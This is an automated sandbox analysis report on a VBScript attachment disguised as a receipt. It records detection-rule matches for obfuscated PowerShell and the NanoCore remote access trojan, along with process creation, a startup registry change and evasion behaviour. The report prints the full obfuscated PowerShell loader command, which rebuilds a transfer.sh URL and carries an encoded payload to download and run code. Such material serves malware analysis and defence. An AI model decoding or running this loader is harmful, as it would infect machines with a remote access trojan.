Source: 00000004.00000002.403054021.000001EE01671000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000002.415688123.000002BCBB6AE000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000002.415938547.000002BCBB6CC000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000003.414286763.000002BCBB6AA000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000002.417503802.000002BCBB845000.00000004.00000040.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000003.413965340.000002BCBB6A3000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000002.415657190.000002BCBB6AB000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000003.413277517.000002BCBB698000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000002.417770750.000002BCBD040000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000003.413195410.000002BCBB695000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000002.415530090.000002BCBB699000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000003.414356002.000002BCBB6AD000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: aspnet_compiler.exe PID: 3112, type: MEMORYSTRMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: C:\Users\Public\Run\New.vbs, type: DROPPEDMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 7-Items-receipt.vbsInitial sample: Strings found which are bigger than 50
Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\7-Items-receipt.vbs'
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeJump to behavior
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Documents\20210914Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkx43apt.wcr.ps1Jump to behavior
Source: classification engineClassification label: mal100.troj.evad.winVBS@8/10@30/3
Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dllJump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeMutant created: \Sessions\1\BaseNamedObjects\Global\{401b59fa-a7f2-4468-a03b-04e3bc489e18}
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6476:120:WilError_01
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\7-Items-receipt.vbs'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbH source: powershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Liam\Downloads\NanoCoreSwiss\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\NanoCoreStressTester\NanoCoreStressTester\obj\Debug\NanoCoreStressTester.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp
Source: Binary string: System.Management.Automation.pdb8S source: powershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmp
Source: Binary string: G:\Users\Andy\Documents\Visual Studio 2013\Projects\NanocoreBasicPlugin\NanoCoreBase\obj\Debug\NanoCoreBase.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp
Source: Binary string: P:\Visual Studio Projects\Projects 15\NanoNana\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Cole\Documents\Visual Studio 2013\Projects\FileBrowserPlugin\FileBrowserClient\obj\Debug\FileBrowserClient.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp

Data Obfuscation:

barindex
VBScript performs obfuscated calls to suspicious functionsShow sources
Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: .Run("POwerSheLL $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt", "0", "true");

Boot Survival:

barindex
Creates an undocumented autostart registry key Show sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders StartupJump to behavior

Hooking and other Techniques for Hiding and Protection:

barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)Show sources
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe:Zone.Identifier read attributes | delete
Source: C:\Windows\System32\wscript.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
